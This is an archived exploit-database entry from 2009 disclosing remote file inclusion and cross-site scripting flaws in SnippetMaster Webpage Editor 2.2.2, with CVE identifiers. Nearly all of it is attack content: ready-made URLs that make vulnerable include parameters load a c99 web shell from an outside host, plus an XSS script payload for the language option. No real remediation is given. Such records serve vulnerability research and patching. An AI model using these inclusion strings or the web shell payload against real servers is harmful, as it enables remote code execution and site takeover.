SnippetMaster Webpage Editor 2.2.2 - Remote File Inclusion / Cross-Site Scripting

Author: RoMaNcYxHaCkEr
type: webapps
platform: php
port: 
date_added: 2009-02-08  
date_updated:   
verified: 1  
codes: OSVDB-52053;CVE-2009-0530;OSVDB-52052;CVE-2009-0529;OSVDB-52051  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 8017.txt  

# SnippetMaster Webpage Editor 2,2,2 Multiple Vulnes ( Remote File Include , Remote XSS )

# Free Download : http://www.snippetmaster.com/download/manual-install.php

# Download Dezender Script :  http://www.mediafire.com/?jv3gz1zwjxm

- Found By : RoMaNcYxHaCkEr
- My Site : WwW.Sec-Code.CoM
- My Group : Security - Codes Group

# Exploit [1]:

- Remote File Include :

http://www.sec-code.com/snippetmaster/includes/vars.inc.php?_SESSION[SCRIPT_PATH]=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

http://www.sec-code.com/snippetmaster/includes/tar_lib/pcltar.lib.php?g_pcltar_lib_dir=http://www.sec-code.com/c99.txt?

# Exploit [2]:

- Remote XSS :

http://www.sec-code.com/snippetmaster/index.php

By POST method In Option language Inject By This Code :

<script>alert(413156995734)</script>

# Solutions :

Contact With Me I Will Declear All This Fucking Functions

# rXh

# bEST wISHES

# milw0rm.com [2009-02-09]